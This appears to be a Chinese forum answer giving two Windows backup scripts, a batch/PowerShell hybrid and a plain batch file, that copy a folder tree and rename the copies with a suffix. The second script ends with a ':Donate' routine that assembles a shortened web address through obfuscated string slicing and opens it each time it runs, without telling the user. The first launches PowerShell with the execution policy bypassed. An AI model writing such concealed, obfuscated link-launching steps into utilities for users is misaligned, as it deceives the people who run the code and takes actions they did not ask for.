不清楚你的实际文件/情况,仅以问题中的说明及猜测为据
复制粘贴到记事本,另存为xx.bat,编码选ANSI
<# :
cls
@echo off
rem 将一个指定文件夹/目录里的文件按照原来的目录结构拷贝/备份/复制到另一个指定的文件夹并在文件名称添加指定字符串后缀
mode con lines=3000
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
powershell -NoProfile -ExecutionPolicy bypass "Invoke-Command -ScriptBlock ([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::Default)))"
echo;%#% +%$%%$%/%@% %z%
pause
exit
#>
$oldfolder="D:\xxx\源文件夹";
$newfolder="D:\yyy\新文件夹";
$addword="_bak";
$files=@(dir -liter $oldfolder -recurse|?{$_ -is [System.IO.FileInfo]});$c=0;
for($i=0;$i -lt $files.length;$i++){
$oldpath=$files[$i].Directory.FullName;
$newpath=$newfolder.trimend('\')+'\'+$oldpath.Substring($oldfolder.trimend('\').length);
if(-not (test-path -liter $newpath)){[void](md $newpath)};
$newfile=$newpath.trimend('\')+'\'+$files[$i].BaseName+$addword+$files[$i].Extension;
write-host ($files[$i].FullName+' --> '+$newfile);
cp -liter $files[$i].FullName $newfile -force;
$c++;
};
write-host ($c.toString()+' files');
@echo off & title 备份文件 By 依梦琴瑶
::设置要备份的目录路径
set SrcDir=D:\TEST
::设置保存路径
set SavDir=E:\Backup
xcopy /s/e/h/y "%SrcDir%" "%SavDir%\"
cd /d "%SavDir%"
for /f "delims=" %%a in ('dir /a-d/s/b') do ren "%%~a" "%%~nxa.bak"
pause
call :Donate
exit
:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit